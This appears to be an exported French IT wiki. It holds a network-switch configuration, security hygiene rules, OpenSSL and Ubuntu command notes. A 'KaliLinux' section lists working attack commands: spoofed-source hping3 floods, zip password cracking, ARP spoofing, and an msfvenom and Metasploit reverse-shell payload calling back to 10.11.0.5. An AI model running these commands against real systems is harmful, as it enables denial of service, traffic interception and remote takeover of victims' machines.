ip access-list extended name Vlan33_IN index 49 permit src 192.168.0.150-0.0.0.0 dst 192.168.33.22-0.0.0.0
ip access-list extended name Vlan33_IN index 50 permit src 192.168.33.22-0.0.0.0 dst 192.168.0.150-0.0.0.0
ip access-list extended name Vlan33_IN index 51 permit src 192.168.0.150-0.0.0.0 dst 192.168.33.23-0.0.0.0
ip access-list extended name Vlan33_IN index 52 permit src 192.168.33.23-0.0.0.0 dst 192.168.0.150-0.0.0.0
ip access-list extended name Vlan33_IN index 53 permit src 192.168.0.151-0.0.0.0 dst 192.168.33.21-0.0.0.0
ip access-list extended name Vlan33_IN index 54 permit src 192.168.33.21-0.0.0.0 dst 192.168.0.151-0.0.0.0
ip access-list extended name Vlan33_IN index 55 permit src 192.168.0.151-0.0.0.0 dst 192.168.33.22-0.0.0.0
ip access-list extended name Vlan33_IN index 56 permit src 192.168.33.22-0.0.0.0 dst 192.168.0.151-0.0.0.0
ip access-list extended name Vlan33_IN index 57 permit src 192.168.0.151-0.0.0.0 dst 192.168.33.23-0.0.0.0
ip access-list extended name Vlan33_IN index 58 permit src 192.168.33.23-0.0.0.0 dst 192.168.0.151-0.0.0.0
ip access-group name Vlan31_IN vlan 31 out sequence 1
ip access-group name Vlan32_IN vlan 32 out sequence 2
ip access-group name Vlan33_IN vlan 32 out sequence 3

interface 1/1
mac notification operation 
device-status link-alarm 
igmp-snooping static-query-port 
name HR-SW607Y 
power-state 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no storm-control flow-control 
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation include 32
vlan tagging 32
vlan participation include 33
vlan tagging 33
vlan participation include 39
vlan tagging 39
exit

interface 1/2
mac notification operation 
device-status link-alarm 
igmp-snooping static-query-port 
name HR-SW602X 
power-state 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no storm-control flow-control 
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation include 32
vlan tagging 32
vlan participation include 33
vlan tagging 33
vlan participation include 39
vlan tagging 39
exit

interface 1/3
mac notification operation 
device-status link-alarm 
name "UPlink HP" 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no storm-control flow-control 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation include 39
vlan tagging 39
exit

interface 1/4
device-status link-alarm 
name PGATEX1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 1/5
mac notification operation 
no auto-negotiate
device-status link-alarm 
name RC-SW603X 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
no storm-control flow-control 
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation include 32
vlan tagging 32
vlan participation exclude 33
vlan participation exclude 39
exit

interface 1/6
shutdown 
ptp v2-boundary-clock vlan-priority 4 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
exit

interface 1/7
device-status link-alarm 
name prov-existantRS30 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
vlan pvid 30 
exit

interface 1/8
device-status link-alarm 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 1/9
device-status link-alarm 
name SVIDNVRW1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
exit

interface 1/10
shutdown 
ptp v2-boundary-clock vlan-priority 4 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
exit

interface 1/11
name SVIDNVRX1 
ptp v2-boundary-clock vlan-priority 4 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 1/12
name SVIDNVRX2 
ptp v2-boundary-clock vlan-priority 4 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 2/1
device-status link-alarm 
name SVIDNVRX1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
vlan pvid 30 
exit

interface 2/2
device-status link-alarm 
name SVIDNVRX2 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
vlan pvid 30 
exit

interface 2/3
device-status link-alarm 
name SDAIANAX1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
exit

interface 2/4
device-status link-alarm 
name SDAIANAX2 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
exit

interface 2/5
device-status link-alarm 
name SDAIANAX3 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
exit

interface 2/6
device-status link-alarm 
name SDAIANAX4 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
exit

interface 2/7
device-status link-alarm 
name SDAIANAX5 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation include 30
vlan tagging 30
vlan participation include 31
vlan tagging 31
vlan participation exclude 32
vlan participation include 33
vlan tagging 33
vlan participation exclude 39
vlan pvid 31 
exit

interface 2/8
shutdown 
ptp v2-boundary-clock vlan-priority 4 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation exclude 33
vlan participation exclude 39
exit

interface 3/1
device-status link-alarm 
name PDECX1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/2
device-status link-alarm 
name PDECX2 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/3
device-status link-alarm 
name PDECX3 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/4
device-status link-alarm 
name PDECX4 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/5
device-status link-alarm 
name PVIDX1 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/6
device-status link-alarm 
name PVIDX2 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/7
device-status link-alarm 
name PVIDX3 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface 3/8
device-status link-alarm 
name PVIDX4 
ptp v2-boundary-clock vlan-priority 4 
security-status no-link 
no spanning-tree edge-auto 
no spanning-tree mode 
vlan participation exclude 1
vlan participation exclude 30
vlan participation exclude 31
vlan participation exclude 32
vlan participation include 33
vlan participation exclude 39
vlan pvid 33 
exit

interface vlan/30
ip routing 
ip address primary 192.168.1.250 255.255.255.0 
no ip proxy-arp operation 
no ip irdp operation 
ip irdp address 224.0.0.1 
ip irdp holdtime 1800 
ip irdp maxadvertinterval 600 
ip irdp minadvertinterval 450 
ip irdp preference 0 
ip ospf area-id 0.0.0.0 
no ip ospf operation 
ip ospf link-type broadcast 
ip ospf priority 1 
ip ospf transmit-delay 1 
ip ospf retransmit-interval 5 
ip ospf hello-interval 10 
ip ospf dead-interval 40 
ip ospf cost auto 
no ip ospf mtu-ignore 
ip ospf authentication type none 
ip ospf authentication key-id 0 
no ip ospf fast-hello 
ip rip authentication type none 
ip rip authentication key-id 0 
ip rip send-version ripv2 
ip rip receive-version both 
no ip igmp operation 
ip igmp querier query-interval 125 
ip igmp version 3 
ip igmp robustness 2 
ip igmp querier last-member-interval 10 
ip igmp querier max-response-time 100 
ip mcast ttl-threshold 1 
ip icmp unreachables 
ip icmp redirects 
ip mtu 1500 
no ip netdirbcast 
ip vrrp add 4 priority 130 interval 1000 preempt enable advertisement-ip 224.0.0.18 preempt-delay 0 notify-ip 192.168.1.251 master-candidate 192.168.1.250 domain-id 4 domain-role supervisor accept-mode enable 
ip vrrp virtual-address add 4 192.168.1.254 
no signal-contact 1 link-alarm 
no ip pim operation 
ip pim hello-interval 30 
no ip pim sparse bsr-border 
ip pim sparse dr-priority 1 
ip pim sparse join-prune-interval 60 
no ip dvmrp operation 
ip dvmrp metric 1 
no device-status link-alarm 
no shutdown 
name encodeurs 
security-status no-link 
exit

interface vlan/31
ip routing 
ip address primary 172.20.0.250 255.255.0.0 
no ip proxy-arp operation 
no ip irdp operation 
ip irdp address 224.0.0.1 
ip irdp holdtime 1800 
ip irdp maxadvertinterval 600 
ip irdp minadvertinterval 450 
ip irdp preference 0 
ip ospf area-id 0.0.0.0 
no ip ospf operation 
ip ospf link-type broadcast 
ip ospf priority 1 
ip ospf transmit-delay 1 
ip ospf retransmit-interval 5 
ip ospf hello-interval 10 
ip ospf dead-interval 40 
ip ospf cost auto 
no ip ospf mtu-ignore 
ip ospf authentication type none 
ip ospf authentication key-id 0 
no ip ospf fast-hello 
ip rip authentication type none 
ip rip authentication key-id 0 
ip rip send-version ripv2 
ip rip receive-version both 
no ip igmp operation 
ip igmp querier query-interval 125 
ip igmp version 3 
ip igmp robustness 2 
ip igmp querier last-member-interval 10 
ip igmp querier max-response-time 100 
ip mcast ttl-threshold 1 
ip icmp unreachables 
ip icmp redirects 
ip mtu 1500 
no ip netdirbcast 
ip vrrp add 1 priority 130 interval 1000 preempt enable advertisement-ip 224.0.0.18 preempt-delay 0 notify-ip 172.20.0.251 master-candidate 172.20.0.250 domain-id 1 domain-role supervisor accept-mode enable 
ip vrrp virtual-address add 1 172.20.0.254 
no signal-contact 1 link-alarm 
no ip pim operation 
ip pim hello-interval 30 
no ip pim sparse bsr-border 
ip pim sparse dr-priority 1 
ip pim sparse join-prune-interval 60 
no ip dvmrp operation 
ip dvmrp metric 1 
no device-status link-alarm 
no shutdown 
name cameras 
security-status no-link 
exit

interface vlan/32
ip routing 
ip address primary 192.168.32.250 255.255.255.0 
no ip proxy-arp operation 
no ip irdp operation 
ip irdp address 224.0.0.1 
ip irdp holdtime 1800 
ip irdp maxadvertinterval 600 
ip irdp minadvertinterval 450 
ip irdp preference 0 
ip ospf area-id 0.0.0.0 
no ip ospf operation 
ip ospf link-type broadcast 
ip ospf priority 1 
ip ospf transmit-delay 1 
ip ospf retransmit-interval 5 
ip ospf hello-interval 10 
ip ospf dead-interval 40 
ip ospf cost auto 
no ip ospf mtu-ignore 
ip ospf authentication type none 
ip ospf authentication key-id 0 
no ip ospf fast-hello 
ip rip authentication type none 
ip rip authentication key-id 0 
ip rip send-version ripv2 
ip rip receive-version both 
no ip igmp operation 
ip igmp querier query-interval 125 
ip igmp version 3 
ip igmp robustness 2 
ip igmp querier last-member-interval 10 
ip igmp querier max-response-time 100 
ip mcast ttl-threshold 1 
ip icmp unreachables 
ip icmp redirects 
ip mtu 1500 
no ip netdirbcast 
ip vrrp add 2 priority 130 interval 1000 preempt enable advertisement-ip 224.0.0.18 preempt-delay 0 notify-ip 192.168.32.251 master-candidate 192.168.32.250 domain-id 2 domain-role supervisor accept-mode enable 
ip vrrp virtual-address add 2 192.168.32.254 
no signal-contact 1 link-alarm 
no ip pim operation 
ip pim hello-interval 30 
no ip pim sparse bsr-border 
ip pim sparse dr-priority 1 
ip pim sparse join-prune-interval 60 
no ip dvmrp operation 
ip dvmrp metric 1 
no device-status link-alarm 
no shutdown 
name admin 
security-status no-link 
exit

interface vlan/33
ip routing 
ip address primary 192.168.33.250 255.255.255.0 
no ip proxy-arp operation 
no ip irdp operation 
ip irdp address 224.0.0.1 
ip irdp holdtime 1800 
ip irdp maxadvertinterval 600 
ip irdp minadvertinterval 450 
ip irdp preference 0 
ip ospf area-id 0.0.0.0 
no ip ospf operation 
ip ospf link-type broadcast 
ip ospf priority 1 
ip ospf transmit-delay 1 
ip ospf retransmit-interval 5 
ip ospf hello-interval 10 
ip ospf dead-interval 40 
ip ospf cost auto 
no ip ospf mtu-ignore 
ip ospf authentication type none 
ip ospf authentication key-id 0 
no ip ospf fast-hello 
ip rip authentication type none 
ip rip authentication key-id 0 
ip rip send-version ripv2 
ip rip receive-version both 
no ip igmp operation 
ip igmp querier query-interval 125 
ip igmp version 3 
ip igmp robustness 2 
ip igmp querier last-member-interval 10 
ip igmp querier max-response-time 100 
ip mcast ttl-threshold 1 
ip icmp unreachables 
ip icmp redirects 
ip mtu 1500 
no ip netdirbcast 
ip vrrp add 3 priority 130 interval 1000 preempt enable advertisement-ip 224.0.0.18 preempt-delay 0 notify-ip 192.168.33.251 master-candidate 192.168.33.250 domain-id 3 domain-role supervisor accept-mode enable 
ip vrrp virtual-address add 3 192.168.33.254 
no signal-contact 1 link-alarm 
no ip pim operation 
ip pim hello-interval 30 
no ip pim sparse bsr-border 
ip pim sparse dr-priority 1 
ip pim sparse join-prune-interval 60 
no ip dvmrp operation 
ip dvmrp metric 1 
no device-status link-alarm 
no shutdown 
name video 
security-status no-link 
exit

interface vlan/39
ip routing 
ip address primary 192.168.39.250 255.255.255.0 
no ip proxy-arp operation 
no ip irdp operation 
ip irdp address 224.0.0.1 
ip irdp holdtime 1800 
ip irdp maxadvertinterval 600 
ip irdp minadvertinterval 450 
ip irdp preference 0 
ip ospf area-id 0.0.0.0 
no ip ospf operation 
ip ospf link-type broadcast 
ip ospf priority 1 
ip ospf transmit-delay 1 
ip ospf retransmit-interval 5 
ip ospf hello-interval 10 
ip ospf dead-interval 40 
ip ospf cost auto 
no ip ospf mtu-ignore 
ip ospf authentication type none 
ip ospf authentication key-id 0 
no ip ospf fast-hello 
ip rip authentication type none 
ip rip authentication key-id 0 
ip rip send-version ripv2 
ip rip receive-version both 
no ip igmp operation 
ip igmp querier query-interval 125 
ip igmp version 3 
ip igmp robustness 2 
ip igmp querier last-member-interval 10 
ip igmp querier max-response-time 100 
ip mcast ttl-threshold 1 
ip icmp unreachables 
ip icmp redirects 
ip mtu 1500 
no ip netdirbcast 
ip vrrp add 6 priority 130 interval 1000 preempt enable advertisement-ip 224.0.0.18 preempt-delay 0 notify-ip 192.168.39.251 master-candidate 192.168.39.250 domain-id 6 domain-role member accept-mode enable 
ip vrrp virtual-address add 6 192.168.39.254 
no signal-contact 1 link-alarm 
no ip pim operation 
ip pim hello-interval 30 
no ip pim sparse bsr-border 
ip pim sparse dr-priority 1 
ip pim sparse join-prune-interval 60 
no ip dvmrp operation 
ip dvmrp metric 1 
no device-status link-alarm 
no shutdown 
name interco 
no security-status no-link 
exit

users add "AdminBPNL"
users add "AdminBYES"
users add "snmpBPNL"
users delete admin 
users access-role AdminBPNL administrator 
users access-role AdminBYES administrator 
users access-role snmpBPNL guest 
users lock-status AdminBPNL unlock 
users lock-status AdminBYES unlock 
users lock-status snmpBPNL unlock 
! users password AdminBPNL "********"
! users password AdminBYES "********"
! users password snmpBPNL "********"
users password-policy-check AdminBPNL disable 
users password-policy-check AdminBYES disable 
users password-policy-check snmpBPNL disable 
users snmpv3 authentication AdminBPNL sha1 
users snmpv3 authentication AdminBYES sha1 
users snmpv3 authentication snmpBPNL sha1 
users snmpv3 encryption AdminBPNL aescfb128 
users snmpv3 encryption AdminBYES aescfb128 
users snmpv3 encryption snmpBPNL aescfb128 
users enable AdminBPNL 
users enable AdminBYES 
users enable snmpBPNL 
exit
Réseau

Réseau - Entêtes des trames

TCP

tcpheader.jpg

UDP

image.png

 

IP

image.png

Sécurité

Contient les ressources liés à la cybersécurité.

Sécurité

Déroulé d'une attaque type

https://www.stoik.com/cyberattaque-etapes

image.png

Sécurité

Etat des cybermenaces (2025)

2024 Cyber Attack Perceptions Chart - Square.png

Sécurité

Evaluation des risques cybersécurité

image.png

Sécurité

Golden rules

La réduction des risques induits par l’usage des technologies numériques repose d’abord sur le respect de bonnes pratiques à adopter. À elles seules, ces dix règles d’or vous protègeront de la majorité des risques numériques qui pèsent sur vos usages personnels ou professionnels.

1. Séparez strictement vos usages à caractère personnel de ceux à caractère professionnel

Avec l’avènement d’Internet et l’évolution des usages, la frontière entre vie professionnelle et vie personnelle devient de plus en plus poreuse. Pour sécuriser au mieux vos usages numériques dans ces différents environnements :

  • Evitez d’utiliser vos moyens personnels (téléphone mobile, clé USB, etc.) à des fins professionnelles et inversement.
  • N’utilisez pas votre adresse email professionnelle pour vous inscrire sur des sites Internet à titre personnel et réciproquement.
  • Ne connectez pas d’équipements personnels, ou non fournis par votre service informatique, au réseau de votre entité ou à un équipement professionnel (téléphone mobile personnel, clé USB ou gadget électronique offert, etc.) ; ne connectez vos équipements professionnels sur votre réseau personnel que dans les conditions prévues par votre service informatique.

2. Mettez régulièrement à jour vos outils numériques

Un appareil ou un logiciel qui n’est pas à jour devient vulnérable. Après avoir identifié l’ensemble de vos appareils et logiciels :

  • Appliquez les mises à a jour dès qu’elles vous sont proposées.
  • Téléchargez les mises à jour uniquement depuis les sites officiels des éditeurs.
  • Activez l’option de téléchargement et d’installation automatique des mises à jour, quand elle existe.

 

3. Protégez vos accès par une authentification double-facteur lorsque c’est possible, ou a minima par des mots de passe robustes

Il est important d’utiliser un mot de passe différent pour chaque accès (messagerie, banque en ligne, comptes de réseaux sociaux, etc.) afin d’éviter l’effet boule de neige en cas de compromission de l’un de vos comptes.

  • Créez un mot de passe robuste (suffisamment long, complexe et aléatoire) de 12 caractères minimum et contenant des minuscules, des majuscules, des chiffres et des caractères spéciaux ; les phrases de passe (par exemple, une phrase prise au hasard dans un livre) constituent une bonne alternative parfois plus simple à mémoriser.
  • Ne communiquez jamais votre mot de passe à un tiers : aucune organisation ou personne de confiance ne vous demandera de lui communiquer votre mot de passe.

A savoir : un coffre-fort de mots de passe permet de stocker de manière sécurisée l’ensemble de vos mots de passe et vous permet d’en générer de manière aléatoire.

 

4. Ne laissez pas vos équipements sans surveillance

Lorsque vous êtes en déplacement, veillez à ne jamais laisser vos appareils sans surveillance. Vous vous exposez au vol, à la manipulation et la compromission desdits matériels et de vos données.

Lorsque vous n’utilisez pas votre poste de travail (même au bureau et à la maison), pensez à le verrouiller et placer en lieu sûr l’ensemble de votre matériel informatique (support de stockage, etc.).

 

5. Prenez soin de vos informations personnelles en ligne

Chacun est responsable de ce qu’il diffuse sur Internet.

  • Ne communiquez jamais d’informations sensibles sur des sites qui ne vous semblent pas suffisamment protégés, surtout lorsque la mention “Non sécurisé” apparaît à gauche de l’adresse du site Internet.
  • Veillez à bien identifier les personnes avec qui vous communiquez sur Internet ; en cas de doute sur une identité, contactez cette personne par un autre moyen avant d'effectuer la moindre action ou de répondre à une requête.

 

6. Protégez votre messagerie électronique

L’hameçonnage (ou phishing en anglais) désigne une technique frauduleuse qui consiste à usurper l’identité d’un organisme connu (banque, opérateurs, etc.) ou d’un proche pour récupérer des informations.

  • Ne cliquez jamais sur un lien et/ou une pièce jointe qui vous semblent douteux ; en cas de suspicion, passez la souris sur le lien pour voir apparaître l’adresse vers laquelle il dirige et appréciez sa légitimité.
  • Ne répondez jamais à un mail suspect ; au moindre doute, contactez l’expéditeur par un autre canal.
  • Activez la double authentification pour sécuriser vos accès si le fournisseur de messagerie le permet.

 

7. Évitez les réseaux Wi-Fi publics ou inconnus

S’ils peuvent s’avérer très utiles, les réseaux Wi-Fi publics sont une aubaine pour les attaquants. Très faciles d’accès, ces réseaux peuvent être contrôlés pour intercepter vos informations.

  • Désactivez les connexions sans-fil (Wi-Fi, Bluetooth, NFC, etc.) lorsque vous ne vous en servez pas pour éviter que vos appareils s’y connectent automatiquement.
  • Lorsque cela est possible, préférez le partage de connexion depuis votre mobile ; sécurisez la connexion avec un mot de passe robuste. 
  • Si vous n’avez d’autre choix que d’utiliser un Wi-Fi public, veillez à ne jamais y réaliser d’opérations à caractère sensible (paiement par carte bancaire, déclaration d’impôts, renseignement d’informations confidentielles, etc.) et utilisez, si possible, un réseau privé virtuel (VPN).

 

8. Sauvegardez régulièrement vos données

Effectuez des sauvegardes régulières de vos données personnelles et professionnelles sur des supports distincts selon les usages, et placez-les en sécurité. Cela vous protège en cas de panne, de perte, de vol, de destruction de votre matériel ou d'attaque informatique.

  • Utilisez des stockages externes (clé USB, disque dur, etc.) ou optez pour un service de stockage en ligne (cloud).
  • Privilégiez les capacités de stockage mises à disposition par votre entreprise pour vos données professionnelles.
  • Chiffrez le contenu de vos appareils de stockage.
  • Réalisez des sauvegardes non connectées de manière régulière.

 

9. Protégez-vous des virus et autres logiciels malveillants

Sur Internet, les logiciels malveillants (virus, vers, cheval de Troie, logiciel espion, etc.) représentent un risque réel. Ils sont distribués par de nombreux vecteurs dont vous pouvez vous protéger grâce à :

  • Un antivirus dont vous respectez les recommandations (mise à jour des bases virales, suppression ou mise en quarantaine des fichiers suspects).
  • Un pare-feu bien configuré qui bloquera les connexions non désirées depuis et vers votre ordinateur.

L’utilisation de ces outils ne sera efficace qu’à condition d’y associer quelques bonnes pratiques :  

  • N’utilisez jamais un service ou un équipement inconnu ou abandonné (une clé USB par exemple).
  • Attribuez un usage spécifique à chaque clé USB pour réduire les effets d’une éventuelle contamination.

 

10. Accordez le juste niveau de privilèges

Plusieurs personnes peuvent avoir accès au même poste de travail avec un accès plus ou moins restreint, défini selon leurs besoins.

Lorsqu’il vous revient d’ajouter des utilisateurs à un appareil ou à un service, et donc de choisir le niveau de permission à leur accorder, appliquez toujours la règle du privilège minimum et assurez-vous que chacun des utilisateurs ait uniquement les permissions dont il a besoin. Par défaut, tous les utilisateurs d’un poste de travail ou d’un serveur doivent avoir un niveau d’accès limité au système d’exploitation et aux informations. Ensuite, il vous revient de personnaliser les attributions et possibilités de chacun.

Sécurité

KaliLinux - Commandes utiles

I. DDoS attack

Flood ICMP paquets avec ip aléatoire :

hping3 -1 --flood --rand-source <hostip>

Flood UDP paquets avec ip aléatoire :

hping3 -2 --flood --rand-source <hostip>

Flood TCP Syn paquets avec ip aléatoire :

hping3 -S --flood --rand-source <hostip>

III. Password  Attack

Cracker un zip (brute force):

#Command
fcrackzip -u -b </path/to/zip>

#Exemple
fcrackzip -u -b /home/kali/Documents/monzip.zip

Craquer un zip (dictionnaire):

#Command
fcrackzip -u -D -p </path/to/dictionary> </path/to/zip>

#Exemple
fcrackzip -u -D -p /home/kali/testdict.txt /home/kali/Documents/monzip.zip

V. Man in the Middle

Récupérer les infos de tables arp :

arp -a

activer l'ip forwarding :

sysctl -w net.ipv4.ip_forward=1

lancer le spoofing :

arpspoof -i <interfaceName> -t <ip victime> <ip routeur>

Utiliser une page web middle :

setoolkit

exploit windows meterpreter server :

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.11.0.5
set LPORT 8443
run

Generate client :

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe

 

 

VI. Scan web

 

Sécurité

Les types de hackers

Types de hackers

Ils sont rangés par considérations éthiques au regard de la loi et non eu regard de leurs convictions.

Le "white hat"

Connu en tant que "Hacker éthique", ils sont employés par des sociétés privées ou des gouvernement pour identifier les failles et aider les entreprises et institution à se protéger. Il s'agit d'experts en cybersécurités agissants sous contrat et dans un cadre légal strict.

Ils comprennent entre autres :

Le "Grey hat"

Bien qu'agissant souvent pour le bien commun ou pour prouver leurs compétences, ils le font à la marge du cadre légal voire en dehors. Il peut s'agir d'experts ou de "freelance" et agissent le plus souvent en électron libre. Leurs actions visent à révéler des faiblesses ou des failles dans les infrastructures, ou apporter une preuve de leurs compétences, bien qu'ils ne soient pas mandatés pour le faire.

Certains le font également pour alerter le public en exfiltrant des documents ou informations confidentielles.

Ils comprennent entre autres :

Le "Black hat"

Il s'agit de tous les types de pirates malveillant ou agissant de manière destructive. On y retrouve toutes les activité cybercriminelles allant du Ransomware au vol d'information confidentielle. Si la plupart du temps, ils agissent pour l'argent, certains peuvent agir par raison politique.

Ils comprennent entre autre :

Sécurité

Openssl - Commandes de conversion

De PFX vers .crt et .key :

openssl pkcs12 -in <chemin/vers/pfx> -nocerts -out private.key
openssl rsa -in private.key -out private_unencrypted.key
openssl pkcs12 -in <chemin/vers/pfx> -clcerts -nokeys -out certificate.crt

De .crt & .key vers .pfx

openssl pkcs12 -inkey private.key -in certificate.crt -export -out myfile.pfx


Sécurité

Schema URL

Constitution de l'URI

DOC - schemaURL.png

Points d'attentions

DOC - vérification site web.png

Sécurité

Solidité mots de passe (2025)

Hive Systems Password Table - 2025 Square.png

Supervision

Supervision

Zabbix - Tips&Tricks

Afficher l'utilisation de la bande passante

In:{SW605X:net.if.in[ifInOctets.5].last(0)} / Out:{SW605X:net.if.out[ifOutOctets.5].last(0)} [{SW605X:net.if.speed[ifSpeed.5].last(0)}]

Ubuntu

Ubuntu

Ubtunu - installation libcaca

lib caca est une librairie python qui, couplée à un parseur de lien permet de jouer une video dans le terminal en faisant une conversion directe du flus vidéo en Ascii art.

Bien que n'ayant aucune réelle utilité en soi, cela peut être drôle lorsque utilisé sur un honeypot par exemple.

 

Pour l'installer :

sudo apt update
sudo apt install python3.12-venv caca-utils mpv

Initialiser le venv python avec :

python3 -m venv venv
source venv/bin/activate

Installer le convertisseur de flux dans le venv :

python3 -m pip install yt-dlp

 

Pour lancer une vidéo :

mpv -vo caca <lien de video> 2>/dev/null

 

Pour interrompre la video : 'ctrl+c'

Ubuntu

Ubuntu - Commandes utiles

I. Commandes génériques

Récupérer l’historique des commandes entrées :

history

Voir le répertoire courant :

pwd

Voir avec  quel utilisateur l'on  est connecté :

whoami

Astuce : Pour filtrer le  résultat d'une commande, ajouter : | grep "chainedecaractèreàrechercher"

II. Ressources systèmes

lancer le ressource monitor :

htop

voir les processus et leurs PID :

psaux

III. Disques & partitions

Voir sur quels SCSI et contrôleurs sont les disques :

lsblk --scsi

image.png

voir l'ensemble des chemins des disques et points de montages :

lsblk

image.png

Voir l'utilisation des disques :

df -H

image.png

Rescanner la capacité disque après un extend :

echo 1>/sys/class/block/sdd/device/rescan

 ou

echo 1>/sys/class/scsi_device/X:X:X:X/device/block/device/rescan

Voir le top 10 des fichiers les plus volumineux :

du -ah /path/to/dir | sort -rh | head -n 10

IV. traitement des logs

Voir un log en live :

tail -f /chemin/vers/le/log

Supprimer les logs plus vieux que x jours :

find /var/log/ -type f -mtime +<nbjours> -exec rm -f {} \;

Archiver les logs plus vieux que x jours :

